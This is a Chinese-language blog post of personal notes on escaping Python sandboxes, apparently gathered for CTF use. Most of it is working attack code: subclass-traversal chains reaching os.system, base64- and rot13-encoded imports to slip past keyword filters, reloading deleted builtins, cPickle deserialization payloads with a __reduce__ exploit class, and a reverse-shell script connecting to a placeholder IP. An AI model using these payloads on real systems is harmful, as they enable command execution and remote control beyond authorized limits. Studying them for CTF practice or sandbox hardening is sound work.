python sandbox bypass tips

  1. 内置模块
  • __builtin__

    在Python中,有一个内建模块,该模块中有一些常用函数;而该模块在Python启动后、且没有执行程序员所写的任何代码前,Python会首先加载 该内建函数到内存。另外,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀,其原因是对函数、变量、类等标识符的查找是按LE(N)GB法 则,其中B即代表内建模块。比如:内建模块中有一个abs()函数,其功能是计算一个数的绝对值,如abs(-20)将返回20。其中python2.x中是builtin,python3.x中更名为builtins

    当使用内建模块中函数或其它功能时,可以直接使用,不用添加内建模块的名字;但是,如果想要向内建模块中添加一些功能,以便在任何函数中都能直接使用而不 用再进行import,这时,就要导入内建模块,在内建模块的命名空间(即dict字典属性)中添加该功能。在导入时,如果是Python2.X 版本,就要导入__builtin__模块;如果是Python3.X版本,就要导入builtins模块

    那么其中__builtin____builtins__的区别呢?

    无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见

    但当不在主模块__mian__中时,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时builtins的类型是字典。而当在主模块__mian__中时,两者是完全等价,所以在使用__builtins__,只要注意其引用的到底是__builtin__还是__builtin__.__dict__即可。

    __builtins__ = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
    
  • __builtin__中本身就含有很多危险函数,如open()可以读取任意文件(权限足够),同样的还有eval(),input()等。当然也可以直接使用内置函数导入一些危险模块:
    __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('id')
    
    TIM截图20171026155023

    所以可以通过删除内置函数中的一些危险函数,作为一个基础的py沙盒环境。

    del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
    del __builtins__.__dict__['eval'] # evaluating code could be dangerous
    del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
    del __builtins__.__dict__['input']
    

    也有极端的删除所有内置功能:

    for x in __builtins__.__dict__.keys():
        del __builtins__.__dict__[x]
    

    但如果reload()并没有被del,那我们可以通过reload(__builtin__),重新获得一个完整的__builtin__
    但当reload()被del了,我们同样可以通过imp模块获得完整的__builtin__:

    import imp
    imp.reload(__builtin__)
    

    同样如下的一些常用的内置模块的一些函数也可以达到命令执行的效果,在这次我校的ctf中我也用如下姿势出了一个题目:

  • platform.popen('id', mode='r', bufsize=-1).read()
  • print timeit.timeit('__import__("os").system("id")',number=1)

2. [].__class__.__base__.__subclasses__()

    为什么这样个魔术方法可以加载所有的模块呢?

    我们这里定义的一个列表'[]’,通过__class___获取该对象的类,可以看到列表的类是list。

    U_<code>9</code>T{}9NQOILW35@O163

    我们继续往上,通过__base__访问类库,可以看到list是object类的一个子类。

    TIM截图20171025201239

    同样我们也可以通过mro方法来代替__base__
    python允许多重继承,也就是有多个父类,而mro方法就是这个类型所继承的父类的列表。

    TIM截图20171027192916

    到了这里我们相当于获取到了python中最大的父类的访问权。那么我们就可以利用__subclasses__()访问到object类的所有子类

    TIM截图20171025201828

    接下来我们就可以通过索引访问到对应的子类,利用这些子类加载过的模块来达到我们的目的。比如file可以用来读取文件.

    再比如如下的payload:
    linecache这个模块可以访问到os模块,这样我们就可以在不利用import导入os模块用它来执行命令(不同的环境可能有所差异,我们也可以通过循环遍历找到我们需要的模块)

    print [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('id')
    

3. cPickle反序列

  • 简单的反序列化payload:
    • import cPickle
      print cPickle.loads("cos\nsystem\n(S'time sleep 1'\ntR.")
      
  • 任意命令构造exp
    • import os
      import cPickle
      
      # Exploit that we want the target to unpickle
      class Exploit(object):
          def __reduce__(self):
              return (os.system, ('ls',))
      
      def serialize_exploit():
          shellcode = cPickle.dumps(Exploit())
          return shellcode
      
      def insecure_deserialize(exploit_code):
          cPickle.loads(exploit_code)
      
      if __name__ == '__main__':
          shellcode = serialize_exploit()
          print shellcode
      

    4. 如果沙盒匹配一些关键字,可以利用替代的方法或者相同功能没有被ban的函数替代.如os模块中的popen函数,则可以利用popen3替代。反弹shell exp如下:

      import socket
      from os import popen3
      
      s = socket.socket()
      s.connect(('xx.xx.xx.xx', 12345))
      
      for i in range(10000):
          ans = popen3(s.recv(1024))
          s.send(ans[1].read() + ans[2].read())
      

    同样我们也可以对关键字做一些编码处理,字符串顺序交换或者拆分处理等:

      TIM截图20171026125142

      TIM截图20171026125249

    5.导入模块的方式。

    • 最直接的import.
    • 内置函数 import
    • importlib库

    以commands模块为列:

    import importlib
    f3ck = importlib.import_module("pbzznaqf".decode('rot_13')
    print f3ck.getoutput('ifconfig')
    

    6.python魔法总结

    type() == ''.__class__.__class__()

    参考连接

    以上tips部分来自网上收集整理,作为个人笔记方便查阅,参考连接就不一一给出了。后续发现新的tips会继续更新。

    python sandbox bypass tips》有2个想法

    发表评论

    电子邮件地址不会被公开。 必填项已用*标注